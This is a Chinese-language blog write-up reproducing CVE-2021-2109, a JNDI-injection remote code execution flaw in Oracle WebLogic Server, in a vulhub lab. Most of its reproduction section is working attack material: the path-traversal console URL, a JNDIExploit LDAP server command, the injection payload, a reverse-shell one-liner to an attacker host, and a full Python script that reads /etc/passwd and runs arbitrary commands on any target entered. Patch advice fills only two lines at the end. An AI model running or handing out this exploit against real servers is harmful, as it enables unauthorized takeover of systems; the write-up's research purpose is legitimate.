WebLogic Server 远程代码执行漏洞(CVE-2021-2109)

简介: WebLogic Server 远程代码执行漏洞,攻击者可通过使用恶意Payload对目标服务器实施攻击并接管服务器获取执行权限。

声明


本篇文章仅用于漏洞复现技术研究,切勿将文中涉及攻击手法用于非授权下的渗透攻击行为,出现任何后果与本作者无关,切记!!!


一、漏洞概述


WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

该漏洞为WebLogic的远程代码执行漏洞,漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行

二、影响版本


  • Weblogic Server 10.3.6.0.0
  • Weblogic Server 12.1.3.0.0
  • Weblogic Server 12.2.1.3.0
  • Weblogic Server 12.2.1.4.0
  • Weblogic Server 14.1.1.0.0


三、环境搭建


这里借助CVE-2020-14882对此漏洞进行复现测试


git clone https://github.com/vulhub/vulhub.git

cd vulhub/weblogic/CVE-2020-14882

docker-compose up -d  

image.png

浏览器访问,如下图所示,环境搭建成功。

image.png

四、漏洞分析


漏洞分析请参考:

https://zhuanlan.zhihu.com/p/404255545

https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw


调试分析请参考:

https://mp.weixin.qq.com/s/WtoUzPEgLlU8jUzvzC75Dg


五、漏洞复现


未授权访问,如果有此页面未授权可访问,且WebLogic为受影响的版本,则可能存在漏洞,http://X.X.X.X:7001/console/css/%252e%252e%252f/consolejndi.portal

image.png

VPS上启动LDAP(运行LDAP需要Java 1.8版本环境)


java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPS_ip

image.png

启动Burp

POC: _pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://x.x.x;x:1389/Basic/WeblogicEcho;AdminServer%22)


执行系统命令

image.png

image.png

VPS这边有回显数据

image.png

反弹Shell


命令:bash -i >& /dev/tcp/X.X.X.X/端口号 0>&1


Cmd: bash -c {echo, {反弹shell命令Base64加密后的数据}}|{base64,-d}|{bash,-i}

image.png

POC漏洞检测(这里一定要把运行LDAP)


import requests

import sys

import re

requests.packages.urllib3.disable_warnings()

from requests.packages.urllib3.exceptions import InsecureRequestWarning

 

def title():

   print('+------------------------------------------')

   print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')

   print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')

   print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')

   print('+  \033[34mVersion: Weblogic 多个版本                                           \033[0m')

   print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')

   print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')

   print('+  \033[36mLDAP        >>> ldap://xxx.xxx.xxx;xxx:1389                         \033[0m')

   print('+------------------------------------------')

 

def POC_1(target_url, ldap_url, cmd):

   vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)

   print('\033[36m[o] 正在请求: {}'.format(vuln_url))

   headers = {

       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",

       "cmd": cmd

   }

   try:

       response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)

       if "root:" in response.text:

           print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))

           print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))

       else:

           print("\033[31m[x] 命令执行失败 \033[0m")

           sys.exit(0)

   except Exception as e:

       print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)

 

def POC_2(target_url, ldap_url, cmd):

   vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)

   print('\033[36m[o] 正在请求: {}'.format(vuln_url))

   headers = {

       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",

       "cmd": cmd

   }

   try:

       response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)

       print("\033[32m[o] 响应为:\n{} \033[0m".format(response))

   except Exception as e:

       print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)

 

if __name__ == '__main__':

   title()

   target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))

   ldap_url = str(input("\033[35mLdap >>> \033[0m"))

   POC_1(target_url, ldap_url, cmd="cat /etc/passwd")

 

   while True:

       cmd = input("\033[35mCmd >>> \033[0m")

       if cmd == "exit":

           sys.exit(0)

       else:

           POC_2(target_url, ldap_url, cmd)


检测结果如下:

image.png

六、修复建议


1、由于是通过JNDI注入进行远程代码执行,建议升级Weblogic Server运行环境的JDK版本;

2、升级官方安装补丁:https://www.oracle.com/security-alerts/cpujan2021.html

目录
相关文章
|
安全 Oracle 关系型数据库
WebLogic Server 账号密码密文解密小方法
WebLogic Server 账号密码密文解密小方法,具体操作看下文
443 3
|
6月前
|
安全 Oracle 关系型数据库
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
|
XML 安全 Java
WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)
WebLogic EJBTaglibDescriptor 在反序列化的同时会进行XML解析,通过重写EJBTaglibDescriptor中的writeExternal函数生成恶意的序列化数据。
281 1
|
3月前
|
Java 应用服务中间件 Linux
centos7安装weblogic
centos7安装weblogic
101 1
|
负载均衡 Java 应用服务中间件
Weblogic的了解、安装及其使用(三)
Weblogic的了解、安装及其使用
1393 0
|
Oracle Java 关系型数据库
Weblogic的了解、安装及其使用(二)
Weblogic的了解、安装及其使用
1018 0
|
开发框架 Kubernetes 监控
Weblogic的了解、安装及其使用(一)
Weblogic的了解、安装及其使用
2503 0
|
安全 Oracle Java
Oracle Weblogic--CentOS Linux 8.5.2安装weblogic11G
Weblogic在centos上详细安装步骤及安装过程中可能遇到的问题
340 0
Oracle Weblogic--CentOS Linux 8.5.2安装weblogic11G
|
Oracle 关系型数据库 Java
EOS Platform 7.2下安装weblogic插件
在实际工作中,需要用到EOS Platform,这是一个基于Eclipse的开发工具,自带了Tomcat,可以满足大部分需要,但是有时候需要使用Weblogic,这就得手动安装Weblogic插件了。这个过程与Eclipse相同(Eclipse下安装weblogic插件),本文中在EOS Platform 7.2中安装Weblogic插件。
194 0
EOS Platform 7.2下安装weblogic插件
|
Oracle 关系型数据库 Java
Eclipse下安装weblogic插件
安装好weblogic dev版本(Windows下安装weblogic dev版本),可以在Eclipse中安装weblogic server tools插件,直接连接到weblogic server,发布、部署、调试都变得简单些。
694 0
Eclipse下安装weblogic插件